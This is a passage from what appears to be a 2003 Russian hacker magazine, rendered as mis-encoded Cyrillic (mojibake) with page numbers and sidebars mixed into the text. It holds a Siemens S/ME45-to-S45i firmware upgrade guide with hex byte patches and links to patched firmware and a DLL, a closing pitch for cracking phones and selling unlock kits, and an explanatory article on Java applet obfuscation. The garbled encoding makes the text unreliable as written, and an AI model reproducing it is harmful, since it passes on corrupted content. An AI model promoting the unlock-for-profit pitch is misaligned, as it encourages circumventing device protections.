êàê-íèáóäü â äðóãîé ðàç.<br />

Ïîñëå ìàíèïóëÿöèé ñ òåëåôîíîì ñ ïîìîùüþ<br />

SM45Tools, ëó÷øå âñåãî âûòàùèòü è ñíîâà âñòàâèòü<br />

áàòàðåéêó - ñáðîñèòü òàê íàçûâàåìûå "áóò-<br />

1 2 3 4<br />

62 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


áëîêè". Ïðîãà è ñàìà èõ ñáðàñûâàåò, êîãäà âûõîäèò,<br />

íî èíîãäà ýòî íóæíî ñäåëàòü âðó÷íóþ...<br />

Åùå äëÿ àïãðåéäà íàì ïîíàäîáèòñÿ: ñàìà ïðîøèâêà<br />

îò S45i âåðñèè 040315, ìîÿ ïðîãðàììà<br />

Siemens EEPROM tool v2.15, ëþáîé øåñòíàäöàòåðè÷íûé<br />

ðåäàêòîð (ñêàæåì, WinHex), áëîê 68<br />

EEPROM'à (íå ñïðàøèâàé ïîêà, ÷òî ýòî òàêîå -<br />

äîëãî îáúÿñíÿòü; ïðîñòî ñêà÷àé ïî ïðèâåäåííîé<br />

ññûëêå - áëîê ýòîò ïðåäñòàâëÿåò ñîáîé äâà ôàéëèêà<br />

ñ ðàñøèðåíèÿìè bin è bid), à òàêæå ïðÿìûå<br />

ðóêè è ðàáîòîñïîñîáíîå ñåðîå âåùåñòâî.<br />

Óíèâåðñàëüíûé (õîòÿ è íåñêîëüêî ãëþ÷íûé)<br />

ôëåøåð äëÿ Ñèìåíñîâ, ïîääåðæèâàþùèé<br />

âñå ìîäåëè<br />

SM45Tools v1.2 by MikG - ëó÷øèé ôëåøåð/àíëîêåð<br />

äëÿ S/ME45!<br />

ØÀÃ ÇÀ ØÀÃÎÌ<br />

Èòàê, ÷åòêèé ïîðÿäîê íàøèõ äåéñòâèé:<br />

1) Ñ÷èòàé è ñîõðàíè áýêàï ôóëôëåøà ñ ïîìîùüþ<br />

SM45Tools. Addr: 000000h, Size: 600000h.<br />

Ðàáîòàåò âñå òàê æå, êàê è ïðè ïðîøèâêå -<br />

æìåøü "Read from flash" è êîðîòêî äàâèøü íà<br />

êðàñíóþ òðóáêó (êñòàòè, íå çàáûâàé ïåðåñòàâëÿòü<br />

áàòàðåéêó ïîñëå ðàáîòû! À òî äðóãèå<br />

ïðîãðàììû òåëåôîí íå óâèäÿò, è ñàì îí<br />

âêëþ÷àòüñÿ íå áóäåò!). Ïîòîì çàéäè âî âêëàäêó<br />

"Configuration" è îáðàòè ñâîé áëàãîñêëîííûé<br />

âçîð íà çíà÷åíèÿ â ðàìî÷êàõ "Flash One"<br />

è "Flash Two". Åñëè òàì ñîîòâåòñòâåííî: ID:<br />

0089, Type: 88C2; ID: 0089, Type: 88C4 èëè ID:<br />

0020, Type: 88CE; Flash Two ID: 0020, Type:<br />

88BA, òî âñå íîðìàëüíî è ìîæåøü ñìåëî àïãðåéäèòü<br />

äàëüøå. Åñëè æå òàì íàáëþäàåòñÿ<br />

ID: 0089, Type: 88C4; ID: 0089, Type: 88Ñ4, òî<br />

ÿ áû íå ðåêîìåíäîâàë àïãðåéäèòüñÿ ïðÿìî<br />

ñåé÷àñ. Íó, òî åñòü, çààïãðåéäèòüñÿ òû ñìîæåøü,<br />

íî åñòü íåêîòîðûå íþàíñû, ñâÿçàííûå<br />

ñ òèïîì ôëåøà òâîåé ìîáèëû (à èìåííî åãî<br />

èäåíòèôèêàòîð ìû è ñìîòðåëè) - SM45Tools<br />

íå ñìîæåò êîððåêòíî ñëèâàòü/çàëèâàòü â íåå<br />

ïåðâûå äâà ìåòðà ôëåøà. Ðåøåíèå ýòîé ïðîáëåìû<br />

ìîæíî íàéòè íà<br />

www.o45m.ru/soft8 (êóñîê ïîä çàãîëîâêîì<br />

"Ðåøåíèå ïðîáëåìû ôëåøà C489"), ëèáî<br />

Èäåàëüíûé âàðèàíò òèïîâ ôëåøåé<br />

Àïãðåéä S/ME45<br />

â S45i<br />

1. Âñÿ âîçìîæíàÿ èíôîðìàöèÿ<br />

îá àïãðåéäå S/ME45 â<br />

S45i. Î÷åíü ðåêîìåíäóåòñÿ ê<br />

âíèìàòåëüíîìó ïðî÷òåíèþ.<br />

http://www.o45m.ru/45-<br />

45i.html<br />

2. Ãîòîâûé ê çàëèâêå â òåëåôîí<br />

ïàò÷åíûé êóñîê ôëåøà<br />

äëÿ àïãðåéäà.<br />

http://www.o45m.ru/ioniza-<br />

tion/s45i-040315-290000-<br />

2dffff-all_fixed.rar<br />

3. Êóñîê ôëåøà äëÿ ðóñèôèêàöèè<br />

e-mail êëèåíòà.<br />

http://www.o45m.ru/ioniza-<br />

tion/s45i-040315-b0000-<br />

dffff-new_font&rus_email.rar<br />

4. Èñïðàâëåííûé 68 áëîê<br />

EEPROM'à.<br />

http://www.o45m.ru/ionization/block68_eepromtool.rar<br />

5. Siemens XTNDConnect -<br />

ðîäíàÿ ïðîãðàììà äëÿ ñèíõðîíèçàöèè<br />

ñ Outlook'îì.<br />

http://www.o45m.ru/software/s45i_4_6_424.zip<br />

6. Ïàò÷åíàÿ dll'êà äëÿ íåå.<br />

http://www.o45m.ru/program/r<br />

stSiemens2.rar


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÄÅËÎ - ÒÐÓÁÀ<br />

Skylord (sky_lord@mail.ru)<br />

çäåñü ÷óòü íèæå.<br />

2) Ïðîøåé òåëåôîí ïðîøèâêîé S45i_040315. Íà<br />

óäèâëåííûå âîïðîñû WinSwup'à î ìîäåëè òåëåôîíà<br />

è âåðñèè ïðîøèâêè îòâå÷àé ïîëîæèòåëüíî.<br />

3) Ñêà÷àé ôóëôëåø èç òåëåôîíà. Ñêîïèðóé êóäàíèáóäü<br />

íà âñÿêèé ñëó÷àé, à âòîðîé ýêçåìïëÿð îòêðîé<br />

â WinHex è ïðîèçâåäè çàìåíó ñëåäóþùèõ<br />

áàéòîâ (ïîñëåäîâàòåëüíîñòü: àäðåñ, ãäå ëåæèò;<br />

áàéò, êîòîðûé òàì ëåæèò; áàéò, íà êîòîðûé íàäî<br />

çàìåíèòü):<br />

0298AE2: DA CC<br />

0298AE3: CD 00<br />

0298AE4: DC CC<br />

0298AE5: 59 00<br />

02DB73A: 2D 0D<br />

02CB102: 3D 0D<br />

4) Çàëåé èñïðàâëåííûé ôóëôëåø â òåëåôîí.<br />

5) Çàïóñòè Siemens EEPROM tool, âûáåðè COMïîðò,<br />

íàæìè "Init" è, êàê îáû÷íî, äàâè íà êðàñíóþ<br />

òðóáó. Êîãäà ïîÿâÿòñÿ äàííûå î òåëåôîíå, à íà<br />

åãî ýêðàíå áóäåò íàäïèñü "Service mode", íàæìè<br />

êíîïêó "Load" â ëåâîé ÷àñòè îêíà ïðîãðàììû è<br />

îòêðîé ôàéë ñ 68 áëîêîì EEPROM'à. Òåïåðü ñêîïèðóé<br />

åãî èç ëåâîãî ñïèñêà â ïðàâûé "ñòðåëêîé"<br />

è íàæìè "Save selected". Îí çàïèøåòñÿ â ïàìÿòü<br />

òåëåôîíà, è ìîæíî ñ ÷èñòîé ñîâåñòüþ çàêðûòü<br />

ïðîãðàììó.<br />

Siemens EEPROM tool ñ çàãðóæåííûì 68<br />

áëîêîì. ×òî ìîæåò áûòü ïðåêðàñíåå ;-)<br />

KEEP IT SIMPLE<br />

Ãîíÿòü òóäà-ñþäà ôóëôëåø ðàäè øåñòè áàéò - ýòî,<br />

ïî ìåíüøåé ìåðå, íåýêîíîìíî. Ïðàâèëüíåé è áûñòðåå<br />

áûëî áû ïðîñòî çàëèòü èçìåíåííûé êóñîê<br />

(ñàìà ïðîøèâêà-òî ó âñåõ îäèíàêîâàÿ!). Â íàøåì<br />

ñëó÷àå îí óæå ãîòîâ ê óïîòðåáëåíèþ (ñì. ññûëêè),<br />

è îñòàåòñÿ òîëüêî çàãðóçèòü åãî â òåëåôîí ñ ïîìîùüþ<br />

SM45Tools. Îòêðûâàåøü åãî, çàäàåøü Addr:<br />

290000h (ðàçìåð âûñòàâèòñÿ àâòîìàòè÷åñêè),<br />

æìåøü "Write to flash" è óæå ÷åðåç ïîëìèíóòû èìååøü<br />

ïàò÷åíóþ ìîáèëó. Äàííûé ñïîñîá, êñòàòè, êàê<br />

ðàç è ðåêîìåíäóåòñÿ ëþäÿì ñ ôëåøåì Ñ489 - âñå<br />

äîëæíî ðàáîòàòü áåç ïðîáëåì!<br />

Äàëüøå âîò ÷òî... E-mail êëèåíò S45i, êîòîðûé òû,<br />

êîíå÷íî æå, çàõî÷åøü ïîïðîáîâàòü, ñîâåðøåííî íå<br />

ïîíèìàåò ðóññêèõ êîäèðîâîê ÊÎÈ8 è Win1251. Âûõîä<br />

- çàìåíèòü øðèôòû òåëåôîíà. Äîñòèãàåòñÿ ýòà<br />

áëàãàÿ öåëü çàëèòèåì äðóãîãî êóñêà ôëåøà ïî àäðåñó<br />

B0000h (êñòàòè, òàì è ñàìè øðèôòû èçìåíåíû<br />

íà áîëåå ñèìïàòè÷íûå), ïîñëå ÷åãî ïèñüìà â<br />

ÊÎÈ8 áóäóò ÷èòàòüñÿ ïðè ñðåäíåì ðàçìåðå øðèôòà,<br />

à Win1251 - ïðè ìàëåíüêîì (ïåðåêëþ÷åíèå "ðåøåòêîé").<br />

Âîò òîëüêî ýòîò êóñîê íåëüçÿ çàëèâàòü ñ<br />

ïîìîùüþ SM45Tools â ìîáèëû ñ C489. Êàê ðåøèòü<br />

ýòó ïðîáëåìó - ñì. óêàçàííóþ âûøå ññûëêó.<br />

Äà! ×óòü íå çàáûë! Ïðè àïãðåéäå óäàëÿåòñÿ âñå<br />

ñîäåðæèìîå âíóòðåííåãî äèñêà òåëåôîíà, òàê ÷òî<br />

åãî íàäî çàáýêàïèòü îòäåëüíî, ÷òîáû ïîòîì çàëèòü<br />

÷åðåç Data Exchange Software. Ãëàâíîå, ÷òî<br />

òåðÿåòñÿ àäðåñíàÿ êíèãà (ôîðìàò ñòàðîé íå ñîâìåñòèì<br />

ñ S45i), è åñëè òû íå äåðæèøü êîíòàêòû<br />

íà ñèì-êàðòå, òî ïðèäåòñÿ ëèáî âñå ïåðåíàáèâàòü,<br />

ëèáî îïÿòü æå ñêà÷èâàòü ñ êîìïà. Äëÿ ýòèõ<br />

öåëåé ðåêîìåíäóþ îáû÷íûé Outlook - ñíà÷àëà ñî<br />

ñòàðîãî òåëåôîíà ñëèâàåøü âñå ïðîãðàììîé<br />

QuickSinc, à ïîòîì, ïîñëå àïãðåéäà, çàêà÷èâàåøü<br />

îáðàòíî ñ ïîìîùüþ XTNDConnect. Ýòó ïðîãó íàäî<br />

èñïîëüçîâàòü, òàê êàê QuickSinc, îïÿòü æå, íå ðàáîòàåò<br />

ñ S45i. À ÷òîáû íå áûëî ïðîáëåì, ïåðåä<br />

çàêà÷êîé â òåëåôîí çàìåíè ó XTNDConnect'à ôàéë<br />

"rstSiemens2.dll": ïðîñòî ñêà÷àé ïàò÷åíûé, íàéòè<br />

òàêîé æå íà äèñêå (îáû÷íî âàëÿåòñÿ â äåáðÿõ<br />

Program Files) è çàìåíè. Âñå áóäåò ïó÷êîì! :-)<br />

ÊÀÆÄÎÌÓ ÏÎ ÏÎÒÐÅÁÍÎÑÒßÌ<br />

Íó âîò, ýòî è áûë ïðèìåð òîãî, ÷òî äàåò êîïàíèå<br />

â ïðîøèâêå òåëåôîíà. Åñòåñòâåííî, ýòèì àïãðåéäîì<br />

ðåçóëüòàòû ïðîöåññà íå èñ÷åðïûâàþòñÿ.<br />

Ìîæíî (è íóæíî) ðàññêàçàòü î Íåòìîíèòîðå, î<br />

âêëþ÷åíèè ñìåíû ÷àñòîòû GSM 900/1800 (êñòàòè,<br />

èíîãäà î÷åíü ïîìîãàåò óëó÷øèòü ñâÿçü), î äîáàâëåíèè<br />

ðóññêîãî Ò9 â òåëåôîíû C45/M(T)50, î ðèñîâàíèè<br />

ñâîåé ãðàôèêè è øðèôòîâ ìîáèëüíèêà, î<br />

ðåäàêòèðîâàíèè âñåõ íàäïèñåé è òåêñòîâûõ ðåñóðñîâ<br />

è î ìíîãîì äðóãîì ;-). Ïðîãðåññ íå îñòàíàâëèâàåòñÿ,<br />

è ëþäè ïîñòîÿííî ïðèäóìûâàþò<br />

÷òî-íèáóäü íîâîå, ÷òî ìîæíî ñäåëàòü ñî ñâîèì<br />

òåëåôîíîì. Åñëè ïîñëå ïðî÷òåíèÿ ýòîãî ìàòåðèàëà<br />

òû êóïèøü ñåáå êàáåëü äëÿ ïîäêëþ÷åíèÿ ìîáèëû<br />

ê êîìïó è ïîïðîáóåøü ñ íåé ÷òî-íèáóäü<br />

ñäåëàòü - ÿ áóäó ñ÷èòàòü ñâîþ çàäà÷ó âûïîëíåííîé.<br />

À êòî çíàåò - ìîæåò, òû âñåðüåç çàéìåøüñÿ<br />

âçëîìîì ìîáèëüíèêîâ è óæå ÷åðåç ãîä-ïîëòîðà<br />

ñìîæåøü çàðàáàòûâàòü ïî 500 áàêñîâ çà êàæäóþ<br />

êîïèþ êàêîé-íèáóäü ñâîåé ïðîãè (ýòî ñðåäíÿÿ öåíà<br />

íà êîìïëåêòû äëÿ ðàçëî÷êè ñâåæèõ ìîäåëåé<br />

ìîáèë, à âîîáùå äî íåñêîëüêèõ òûñÿ÷ çà îñîáî<br />

õîðîøèå âåùè äîõîäèò...). Ïî-ìîåìó, íåïëîõî ;-).<br />

Òàê ÷òî óäà÷è è óñïåøíûõ âçëîìîâ!<br />

PS: Íå ìîãó íå ïåðåäàòü ðåñïåêòû âñåì òåì, êòî<br />

èìååò îòíîøåíèå ê àïãðåéäó S/ME45. Âîò èìåíà<br />

ýòèõ âåëèêèõ ëþäåé: MikG, DarkBear, Dormidont,<br />

Gnome, SK, Viper_rus, Oss_V, KO(c)Tik. Åñëè êîãî<br />

íå âñïîìíèë - ñîððè ;-).<br />

6) Âêëþ÷àé òåëåôîí. Âñå äîëæíî ðàáîòàòü :-).<br />

Åñëè òåëåôîí íå âêëþ÷àåòñÿ: ãóäèò è/èëè ïèøåò<br />

"Wrong software" - çíà÷èò, òû ñäåëàë ÷òî-òî<br />

íå òàê. Îòêàòûâàéñÿ íà ðàáî÷èé áýêàï. Åñëè òåëåôîí<br />

âêëþ÷àåòñÿ, çàãîðàåòñÿ ïîäñâåòêà, íî íà<br />

ýêðàí íè÷åãî íå âûâîäèòñÿ, çíà÷èò íóæíî ïîïðàâèòü<br />

êîíòðàñòíîñòü. Ïðîñòî "íà îùóïü" ââåäè<br />

PIN, ïîäîæäè, ïîêà òåëåôîí çàãðóçèòñÿ è<br />

íàéäåò ñåòü (ïàðó ðàç ïèñêíåò), ïîñëå ÷åãî æìè<br />

ïðàâóþ ñîôò-êëàâèøó, ÷òîáû âûéòè â ìåíþ, à<br />

ïîòîì äîáèðàéñÿ äî íàñòðîéêè êîíòðàñòà "ïî<br />

öèôðàì": 9-1-2-6, åñëè ó òåáÿ åñòü SIM-Menu,<br />

èëè 8-1-2-6, åñëè íåò. À òàì óæå êóðñîðîì ïîäíèìàé<br />

êîíòðàñò äî íîðìàëüíîé âèäèìîñòè...<br />

Âîò, â îáùåì-òî, è âñå! :-)<br />

Îáùàÿ èíôîðìàöèÿ ïî ìîáèëüíèêàì<br />

1. "Êëóá 45.55" è "ÑèìåíñÊëóá" - äâà öåíòðàëüíûõ ñåòåâûõ<br />

ðåñóðñà ïî òåëåôîíàì Siemens. Ïåðâûé õîðîø îòëè÷íîé<br />

ïîäáîðêîé èíôîðìàöèè, äîêóìåíòàöèåé, ñîëþøåíîâ è<br />

îðèåíòèðîâàí íà ìîäåëè õ45 è õ55. Âî âòîðîì ñàìîå<br />

ãëàâíîå - ýòî ôîðóì, ãäå ïóòåì èñïîëüçîâàíèÿ ïîèñêà<br />

ìîæíî íàéòè ëþáóþ èçâåñòíóþ ìèðó èíôîðìàöèþ î Ñèìåíñàõ,<br />

è àêòèâíî ïîïîëíÿþùàÿñÿ êîëëåêöèÿ ñîôòà.<br />

http://www.o45m.ru/<br />

http://www.siemens-club.ru/<br />

2. GSMforum - ëó÷øèé àíãëîÿçû÷íûé ôîðóì âîîáùå ïî<br />

âñåì ìîáèëüíèêàì. Òàì âñåãäà, îïÿòü æå ïðè óìåëîì èñïîëüçîâàíèè<br />

ïîèñêà, ìîæíî íàéòè ëþáóþ èíôó. È ñàìîå<br />

ñâåæåå òîæå ïî÷òè âñåãäà òàì.<br />

http://www.gsmforum.host-boxcracker.net/<br />

1 2 3 4<br />

64 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Âçëîì<br />

ÇÀÙÈÒÀ JAVA-ÀÏÏËÅÒÎÂ<br />

Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

ÇÀÙÈÒÀ<br />

JAVA- ÀÏÏËÅÒÎÂ<br />

ÏÐÀÊÒÈ×ÅÑÊÎÅ ÏÎÑÎÁÈÅ Ñ ÊÀÐÒÈÍÊÀÌÈ ;)<br />

 ïðåäûäóùåé ñòàòüå ÿ íàãëÿäíî ïðîäåìîíñòðèðîâàë, êàê íåïðèíóæäåííî ïîèìåòü ëþáîé âðàæåñêèé ÿâà-àïïëåò.<br />

Âìåñòî òîãî ÷òîáû ïëàòèòü íåçíàêîìîìó äÿäå çà ÷èñòûé (áåç çàùèòû) èñõîäíèê, òû ñ ïîìîùüþ ïîäðó÷íûõ ñðåäñòâ<br />

(ê ïðèìåðó, NMI's Java Code Viewer) äåêîìïèëèðóåøü áàéò-êîä è âûêîâûðèâàåøü çàùèòó ðó÷êàìè. Ïîòîì êîìïèëèðóåøü<br />

îáðàòíî è èñïîëüçóåøü â ñâîå óäîâîëüñòâèå. Âñå äîâîëüíî ïðîñòî, áûñòðî è áåñïëàòíî. Âîçíèêàåò ëîãè÷íûé<br />

âîïðîñ: ïîëó÷àåòñÿ, ÷òî ñàìûé ïîñëåäíèé ëàìåð, ñêà÷àâ äåêîìïèëÿòîð èç èíåòà, ñìîæåò áåç òðóäà ïîëîìàòü è<br />

òâîé àïïëåò, êîòîðûé ïî-ñâîåìó óíèêàëåí è íà êîòîðûé òû óáèë êó÷ó ñâîáîäíîãî âðåìåíè Äà, ýòî, êîíå÷íî, òàê,<br />

íî ïðè æåëàíèè òû ìîæåøü ñâåñòè ÷óæèå ïîïûòêè âçëîìà íà íåò. Äëÿ ýòîãî òåáå ïîíàäîáèòñÿ îáôóñêàòîð (obfuscator).<br />

Ýòî íå ðóãàòåëüíîå ñëîâî :). ×òî ýòî òàêîå, ãäå íàäûáàòü è êàê ýòèì ïîëüçîâàòüñÿ, ÿ òåáå ñåé÷àñ ðàññêàæó.<br />

ÐÀÇÍÎÂÈÄÍÎÑÒÈ ÇÀÙÈÒÛ<br />

Ñêîëüêî îáôóñêàòîðîâ - ñòîëüêî è àëãîðèòìîâ çàùèòû.<br />

Íî âñå èõ ìîæíî óñëîâíî ðàçäåëèòü íà òðè<br />

êàòåãîðèè ïî ñïîñîáó ìîäèôèêàöèè áàéò-êîäà:<br />

èçìåíåíèå ñòðóêòóðû ïðîãðàììû, èçìåíåíèå ïîòîêà<br />

óïðàâëåíèÿ è èçìåíåíèå ñòðóêòóðû äàííûõ.<br />

Íàèáîëåå ýôôåêòèâíû èçìåíåíèå ïîòîêà óïðàâëåíèÿ<br />

è èçìåíåíèå ñòðóêòóðû äàííûõ, îñîáåííî<br />

åñëè â êà÷åñòâå çàùèòû èñïîëüçóåòñÿ òàíäåì ýòèõ<br />

àëãîðèòìîâ.<br />

ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÑÒÐÓÊÒÓÐÛ<br />

ÏÐÎÃÐÀÌÌÛ<br />

Ýòî ñàìàÿ ðàñïðîñòðàíåííàÿ è îòíîñèòåëüíî ïðîñòàÿ<br />

ïî ñóòè çàùèòà, êîòîðóþ ðåàëèçóþò âñå áåç<br />

èñêëþ÷åíèÿ îáôóñêàòîðû. Óäàëÿåòñÿ îòëàäî÷íàÿ<br />

èíôîðìàöèÿ (åå ðîæàåò îòëàä÷èê ïðè êîìïèëÿöèè)<br />

è êîììåíòàðèè, à èñõîäíûå èìåíà ìåòîäîâ è<br />

ïåðåìåííûõ çàìåíÿþòñÿ áåññìûñëåííîé (ñëó÷àéíîé)<br />

êîðîòêîé ïîñëåäîâàòåëüíîñòüþ ñèìâîëîâ.<br />

Ýòî äåëàåò êîä ìåíåå èíôîðìàòèâíûì. Êðîìå òîãî,<br />

â ðåçóëüòàòå ÷èñòêè ðàçìåð áàéò-êîäà óìåíüøàåòñÿ<br />

â 1,5-2 ðàçà, ïîýòîìó òàêàÿ îáôóñêàöèÿ<br />

÷àñòî èñïîëüçóåòñÿ è êàê îäèí èç ñïîñîáîâ îïòè<br />

ìèçàöèè êîäà.<br />

ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÏÎÒÎÊÀ<br />

ÓÏÐÀÂËÅÍÈß<br />

Áîëåå ñëîæíàÿ çàùèòà, âíåäðÿþùàÿ â êîä äîïîëíèòåëüíûå<br />

óñëîâíûå îïåðàòîðû è, ñëåäîâàòåëüíî,<br />

ëîæíûå ëîãè÷åñêèå ðàçâÿçêè.  ðåçóëüòàòå èçìåíÿåòñÿ<br />

ñïîñîá ãðóïïèðîâêè âûðàæåíèé, ïîðÿäîê<br />

âûïîëíåíèÿ îïåðàòîðîâ èëè ñêðûâàåòñÿ îò äåêîìïèëÿòîðà<br />

ðåàëüíûé ïîòîê óïðàâëåíèÿ.<br />

Ïîÿñíþ íà íàãëÿäíîì ñõåìàòè÷åñêîì ïðèìåðå.<br />

Äîïóñòèì, â êîäå åñòü äâà ôóíêöèîíàëüíûõ áëîêà<br />

A è B, êîòîðûå âûïîëíÿþòñÿ áåçóñëîâíî è ïîñëåäîâàòåëüíî.<br />

Åñëè ïðèìåíèòü ðàññìàòðèâàåìóþ<br />

çàùèòó, òî îäíà èç âîçìîæíûõ ðåàëèçàöèé ïîäîáíîãî<br />

àëãîðèòìà ñëåäóþùàÿ - áóäåò äîáàâëåí äîïîëíèòåëüíûé<br />

áëîê, îáðàçóþùèé ïðè ïîìîùè<br />

îïåðàòîðà óñëîâíîãî ïåðåõîäà ðàçâÿçêó ñ äâóìÿ<br />

âåòâëåíèÿìè. Ñäåëàòü ýòî ìîæíî êàê ìèíèìóì<br />

òðåìÿ ñïîñîáàìè:<br />

1-ÛÉ ÑÏÎÑÎÁ<br />

Ìåæäó áëîêàìè A è B âíåäðÿåòñÿ óñëîâíûé áëîê<br />

IF, îäíà èç ëîãè÷åñêèõ âåòîê (ïðè ëîæíîì óñëîâèè)<br />

êîòîðîãî èäåò â îáõîä áëîêà B. Íî óñëîâèå â<br />

áëîêå IF âñåãäà çàâåäîìî "èñòèíà", ïîýòîìó àïïëåò<br />

âûïîëíÿåòñÿ êîððåêòíî. Ëîæíîå âåòâëåíèå<br />

íåîáõîäèìî, ÷òîáû ñáèòü ñ òîëêó äåêîìïèëÿòîð è<br />

óñëîæíèòü àíàëèç êîäà ïîñëå äåêîìïèëÿöèè.<br />

2-ÎÉ ÑÏÎÑÎÁ<br />

Èç áëîêà B êëîíèðóåòñÿ äâà áëîêà B' è B", ÿâëÿþùèõñÿ<br />

äâóìÿ èäåíòè÷íûìè êîïèÿìè îäíîãî è òîãî<br />

æå áëîêà B. Äàëåå îíè øèôðóþòñÿ ïî-ðàçíîìó,<br />

ñîõðàíÿÿ ïðè ýòîì ñâîþ ôóíêöèîíàëüíîñòü. Àïïëåò<br />

îñòàåòñÿ ðàáîòîñïîñîáíûì, à âûïîëíÿåòñÿ<br />

òîëüêî îäèí èç áëîêîâ (B' èëè B") â çàâèñèìîñòè<br />

îò óñëîâèÿ â áëîêå IF, êîòîðîå ãåíåðèðóåòñÿ ñëó-<br />

÷àéíûì îáðàçîì. Íåïðåäñêàçóåìàÿ ëîâóøêà äëÿ<br />

äåêîìïèëÿòîðà è çàðÿäêà äëÿ ìîçãîâ :).<br />

3-ÈÉ ÑÏÎÑÎÁ<br />

Èç áëîêà B êëîíèðóåòñÿ äâà áëîêà B' è B" àíàëîãè÷íî<br />

ïðåäûäóùåìó ñïîñîáó, íî â áëîê B" âíîñÿòñÿ<br />

ôàòàëüíûå èçìåíåíèÿ, ïîñëå êîòîðûõ áëîê<br />

B" ðàáîòàåò íåêîððåêòíî. Ïðè ýòîì â áëîêå IF<br />

âñåãäà ãåíåðèðóåòñÿ óñëîâèå äëÿ âûáîðà âåòâè ñ<br />

B'. Âìåñòî áëîêà B" ìîæåò áûòü ïîäñòàâëåí ñîâåðøåííî<br />

ëþáîé ôóíêöèîíàëüíûé áëîê, íå èìåþùèé<br />

íèêàêîãî îòíîøåíèÿ ê äàííîé ïðîãðàììå.<br />

Äåêîìïèëÿòîð ýòîãî âñå ðàâíî íå çíàåò :).<br />

Ýòî î÷åíü óïðîùåííûé ïðèìåð äëÿ íàãëÿäíîñòè.<br />

Ðåàëüíî äåëà îáñòîÿò íàìíîãî ñëîæíåå. Ïðîùå<br />

ãîâîðÿ, ïîñëå ïðèìåíåíèÿ ýòîé çàùèòû ïîÿâëÿþòñÿ<br />

ñîâåðøåííî ëåâûå ëîãè÷åñêèå âåòâè, íå<br />

âëèÿþùèå íà ðàáîòîñïîñîáíîñòü àïïëåòà. Â ðåçóëüòàòå<br />

ýòîãî ïîñëå äåêîìïèëÿöèè ïîÿâëÿåòñÿ<br />

êó÷à ìóñîðà, êîòîðàÿ ïðåâðàòèò àíàëèç ïîëó÷åííîãî<br />

"èñõîäíèêà" â çàòÿæíîé êîøìàð.<br />

ÇÀÙÈÒÀ: ÈÇÌÅÍÅÍÈÅ ÑÒÐÓÊÒÓÐÛ ÄÀÍÍÛÕ<br />

Ñàìûé ïðîäâèíóòûé ñïîñîá çàùèòû, ïîçâîëÿþùèé<br />

ïîëíîñòüþ èçìåíèòü ïåðâîíà÷àëüíóþ ñòðóêòóðó<br />

áàéò-êîäà. Øèôðîâàííûé êîä óñëîæíÿåòñÿ<br />

1 2 3 4<br />

66 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÊÒÎ ÒÀÊÈÅ ÎÁÔÓÑÊÀÒÎÐÛ<br />

Java ïîëó÷èëà äîâîëüíî øèðîêîå ðàñïðîñòðàíåíèå, àïïëåòû - óæå íå ðåäêîñòü â èíåòå. Ïðè<br />

ýòîì èñõîäíûé êîä òðàíñëèðóåòñÿ íå â ìàøèííûé, à â ÿçûê âèðòóàëüíîé ìàøèíû Java (JVM).<br />

Ýòî äàåò îïðåäåëåííûå ïðåèìóùåñòâà: íåçàâèñèìîñòü îò àðõèòåêòóðû (ïåðåíîñèìîñòü), äèíàìè÷åñêàÿ<br />

êîìïîíîâêà è íåáîëüøîé ðàçìåð ïîëó÷àåìîãî áàéò-êîäà. Íî åñòü è äðóãàÿ ñòîðîíà<br />

ìåäàëè: áàéò-êîä íåñåò â ñåáå äîñòàòî÷íî èíôîðìàöèè, ñ ïîìîùüþ êîòîðîé ïîëó÷èòü èñõîäíèê<br />

íà ÿçûêå Java íå ïðåäñòàâëÿåò áîëüøîãî òðóäà. Äëÿ ýòîãî ñóùåñòâóþò ðàçëè÷íûå äåêîìïèëÿòîðû,<br />

äåëàþùèå ïðîãðàììû íà Java ïðàêòè÷åñêè áåççàùèòíûìè ïåðåä æåëàþùèìè çàãëÿíóòü<br />

ïîãëóáæå. Òóò è ïðèõîäÿò íà ïîìîùü îáôóñêàòîðû - ïðîãðàììû äëÿ çàùèòû áàéò-êîäà<br />

îò âçëîìà.<br />

<br />

Ñàìî çíà÷åíèå "obfuscate" äîñëîâíî ñ ïèíãâèíñêîãî ïåðåâîäèòñÿ êàê çàïóòûâàòü, îçàäà÷èâàòü,<br />

ñáèâàòü ñ òîëêó, ñòàâèòü â òóïèê. À ïîä îáôóñêàöèåé ïîíèìàåòñÿ ïðåîáðàçîâàíèå êîäà<br />

ñ öåëüþ ìàêñèìàëüíî çàòðóäíèòü åãî àíàëèç è ìîäèôèêàöèþ. Ñóòü ðàáîòû ëþáîãî îáôóñêàòîðà<br />

àïïëåòîâ - ñ ïîìîùüþ îïðåäåëåííîãî àëãîðèòìà âíåñòè â áàéò-êîä èçìåíåíèÿ, çíà÷èòåëüíî<br />

çàòðóäíÿþùèå êîððåêòíóþ äåêîìïèëÿöèþ, ñîõðàíèâ ïðè ýòîì ðàáîòîñïîñîáíîñòü ñàìîé<br />

ïðîãðàììû. Ïîñëå äåêîìïèëÿöèè áàéò-êîäà ñ çàùèòîé áóäåò ïðîùå çàñòðåëèòüñÿ, ÷åì ðàçîáðàòüñÿ<br />

â ïîëó÷èâøèõñÿ "èñõîäíèêàõ" :).<br />

íàñòîëüêî, ÷òî âîññîçäàíèå èñõîäíîãî êîäà ñòàíîâèòñÿ<br />

ïðàêòè÷åñêè íåâîçìîæíûì. Àëãîðèòìîâ è<br />

ìåòîäîâ ýòîé çàùèòû ñóùåñòâóåò äîâîëüíî ìíîãî.<br />

Âîò òîëüêî íåêîòîðûå èç ðåàëèçóåìûõ ïîäõîäîâ:<br />

- óñëîæíÿåòñÿ íàñëåäîâàíèå ïðè ïîìîùè ñîçäàíèÿ<br />

äîïîëíèòåëüíûõ êëàññîâ (óâåëè÷èâàþùèõ äåðåâî<br />

íàñëåäîâàíèÿ) èëè èñïîëüçîâàíèÿ ëîæíîãî<br />

äðîáëåíèÿ êëàññîâ;<br />

- ìàññèâû ðåñòðóêòóðèçèðóþòñÿ óâåëè÷åíèåì èëè<br />

ñîêðàùåíèåì èõ ðàçìåðíîñòè (ïóòåì èõ îáúåäèíåíèÿ<br />

èëè äðîáëåíèÿ);<br />

